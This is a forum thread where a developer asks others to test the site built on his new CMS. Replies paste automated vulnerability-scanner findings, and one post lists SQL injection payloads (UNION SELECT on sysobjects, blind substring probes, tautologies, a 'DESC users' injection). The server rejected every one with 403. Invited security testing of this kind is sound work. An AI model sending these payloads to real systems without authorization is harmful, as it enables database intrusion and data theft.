alex705 Posted September 4, 2008 Share Posted September 4, 2008 Hey guys, I've just finished developing the first version of my CMS "MyHTML". I have a built the site www.rabbitcoder.com using this CMS and I would be very happy if some of you could test this site for me . The source of the CMS "MyHTML" is not available yet, but will be released on www.rabbitcoder.com soon. The special thing about MyHTML is that MyHTML is the first "script based" CMS ever. Links: www.rabbitcoder.com - Rabbitcoder.com - my webdev site based on MyHTML http://www.rabbitcoder.com/myhtml.htm - Details to what MyHTML is http://www.rabbitcoder.com/myhtml_articles_a%20script%20based%20cms.html - Details how MyHTML works and what a script based CMS is. Thank you! Link to comment https://forums.phpfreaks.com/topic/122740-brand-new-cms-myhtml-needs-testers/ Share on other sites More sharing options...
darkfreaks Posted September 5, 2008 Share Posted September 5, 2008 Input Type Password Autocomplete Enabled Password type input named pass from unnamed form with action has autocomplete enabled. An attacker with local access could obtain the cleartext password from the browser cache. The impact of this vulnerability Possible sensitive information disclosure How to fix this vulnerability The password autocomplete should be disabled in sensitive applications. To disable autocomplete, you may use a code similar to < INPUT TYPE="password" AUTOCOMPLETE="off" > User credentials are sent in clear text The impact of this vulnerability A third party may be able to read the user credentials by intercepting an unencrypted HTTP connection. How to fix this vulnerability Because user credentials usually are considered sensitive information, it is recommended to be sent to the server over an encrypted connection. Link to comment https://forums.phpfreaks.com/topic/122740-brand-new-cms-myhtml-needs-testers/#findComment-634687 Share on other sites More sharing options...
Hinty Posted September 5, 2008 Share Posted September 5, 2008 thats not really a vulnerability tho Link to comment https://forums.phpfreaks.com/topic/122740-brand-new-cms-myhtml-needs-testers/#findComment-634744 Share on other sites More sharing options...
angelfashion Posted September 8, 2008 Share Posted September 8, 2008 thanks 4 sharing Link to comment https://forums.phpfreaks.com/topic/122740-brand-new-cms-myhtml-needs-testers/#findComment-636565 Share on other sites More sharing options...
JonnoTheDev Posted September 8, 2008 Share Posted September 8, 2008 The URLS generated aren't SEO friendly: http://www.rabbitcoder.com/web%20development_articles Link to comment https://forums.phpfreaks.com/topic/122740-brand-new-cms-myhtml-needs-testers/#findComment-636586 Share on other sites More sharing options...
darkfreaks Posted October 13, 2008 Share Posted October 13, 2008 SQL Injection Server Status Code: 403 Forbidden Tested value: 1 AND ASCII(LOWER(SUBSTRING((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 116 Server Status Code: 403 Forbidden Tested value: %31%27%20%4F%52%20%27%31%27%3D%27%31 Server Status Code: 403 Forbidden Tested value: 1' OR '1'='1 Server Status Code: 403 Forbidden Tested value: 1' OR '1'='1 Server Status Code: 403 Forbidden Tested value: 1 UNI/**/ON SELECT ALL FROM WHERE Server Status Code: 403 Forbidden Tested value: 1 UNION ALL SELECT 1,2,3,4,5,6,name FROM sysObjects WHERE xtype = 'U' -- Server Status Code: 403 Forbidden Tested value: 1 AND USER_NAME() = 'dbo' Server Status Code: 403 Forbidden Tested value: 1'1 Server Status Code: 403 Forbidden Tested value: 1' AND non_existant_table = '1 Server Status Code: 403 Forbidden Tested value: ' OR username IS NOT NULL OR username = ' Server Status Code: 403 Forbidden Tested value: '; DESC users; -- Server Status Code: 403 Forbidden Tested value: 1' OR '1'='1 Server Status Code: 403 Forbidden Tested value: 1'1 Server Status Code: 403 Forbidden Tested value: 1 OR 1=1 Server Status Code: 403 Forbidden Tested value: 1' AND 1=(SELECT COUNT(*) FROM tablenames); -- Server Status Code: 403 Forbidden Tested value: 1 AND 1=1 Server Status Code: 403 Forbidden Tested value: 1 EXEC XP_ Link to comment https://forums.phpfreaks.com/topic/122740-brand-new-cms-myhtml-needs-testers/#findComment-663633 Share on other sites More sharing options...
Recommended Posts